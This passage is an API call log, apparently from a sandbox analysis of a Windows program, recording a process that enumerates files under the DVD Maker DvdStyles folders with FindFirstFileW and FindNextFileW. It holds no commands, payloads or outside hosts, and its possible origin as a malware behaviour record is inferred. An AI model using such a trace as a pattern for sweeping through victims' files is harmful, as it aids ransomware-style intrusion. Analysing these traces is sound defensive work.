lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a6df2b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a6df2b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="curtains.png", cAlternateFileName="")) returned 1 [0238.489] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_precomp_matte.wmv", cAlternateFileName="")) returned 1 [0238.490] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_PreComp_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0238.490] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b788b6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b788b6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x26618, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_matte.wmv", cAlternateFileName="")) returned 1 [0238.490] ResetEvent (hEvent=0x118) returned 1 [0238.490] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0238.496] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b9ea13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b9ea13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x28558, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0238.497] ResetEvent (hEvent=0x118) returned 1 [0238.497] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0238.501] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b0649f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b0649f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b44779d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e31e, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_rgb.wmv", cAlternateFileName="")) returned 1 [0238.501] ResetEvent (hEvent=0x118) returned 1 [0238.501] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0238.505] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b2c5fc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b2c5fc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_RGB_PAL.wmv", cAlternateFileName="")) returned 1 [0238.506] ResetEvent (hEvent=0x118) returned 1 [0238.506] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0238.510] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a94088, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a94088, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0238.510] ResetEvent (hEvent=0x118) returned 1 [0238.510] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0238.515] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72aba1e5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72aba1e5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x239b, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainimage-mask.png", cAlternateFileName="")) returned 1 [0238.515] ResetEvent (hEvent=0x118) returned 1 [0238.515] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0238.523] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x559, dwReserved0=0x0, dwReserved1=0x0, cFileName="notes-static.png", cAlternateFileName="")) returned 1 [0238.523] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 1 [0238.524] ResetEvent (hEvent=0x118) returned 1 [0238.524] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0238.617] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 0 [0238.617] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0238.620] GetProcessHeap () returned 0x560000 [0238.620] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0238.620] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1 [0238.621] ResetEvent (hEvent=0x118) returned 1 [0238.621] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0238.625] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_glass.png", cAlternateFileName="")) returned 1 [0238.625] ResetEvent (hEvent=0x118) returned 1 [0238.626] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0238.631] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0238.631] ResetEvent (hEvent=0x118) returned 1 [0238.632] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0238.736] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebcc13a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebcc13a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_videoinset.png", cAlternateFileName="")) returned 1 [0238.736] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edbb2f3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6edbb2f3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c53d379, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0238.736] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e990cc7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e990cc7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="circle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0238.737] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureA.png", cAlternateFileName="")) returned 1 [0238.737] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureB.png", cAlternateFileName="")) returned 1 [0238.737] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_VideoInset.png", cAlternateFileName="")) returned 1 [0238.738] ResetEvent (hEvent=0x118) returned 1 [0238.738] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0238.743] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea030de, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea030de, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0238.744] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5c9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dot.png", cAlternateFileName="")) returned 1 [0238.744] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee799c4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee799c4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4cb30a29, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x422c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdTransform.fx", cAlternateFileName="")) returned 1 [0238.744] ResetEvent (hEvent=0x118) returned 1 [0238.744] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0238.747] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlipPage", cAlternateFileName="")) returned 1 [0238.748] GetProcessHeap () returned 0x560000 [0238.748] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0238.748] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0238.750] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.750] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0238.751] ResetEvent (hEvent=0x118) returned 1 [0238.751] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0238.765] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe3ea46, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe3ea46, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0238.765] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fed6fba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fed6fba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0238.766] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0238.766] ResetEvent (hEvent=0x118) returned 1 [0238.766] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0238.996] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0238.997] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0238.997] ResetEvent (hEvent=0x118) returned 1 [0238.997] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.009] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0239.009] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe8ad00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe8ad00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0239.009] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 1 [0239.009] ResetEvent (hEvent=0x118) returned 1 [0239.010] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.013] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 0 [0239.013] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0239.015] GetProcessHeap () returned 0x560000 [0239.015] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0239.016] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1 [0239.017] GetProcessHeap () returned 0x560000 [0239.017] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0239.017] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0239.019] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.019] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, 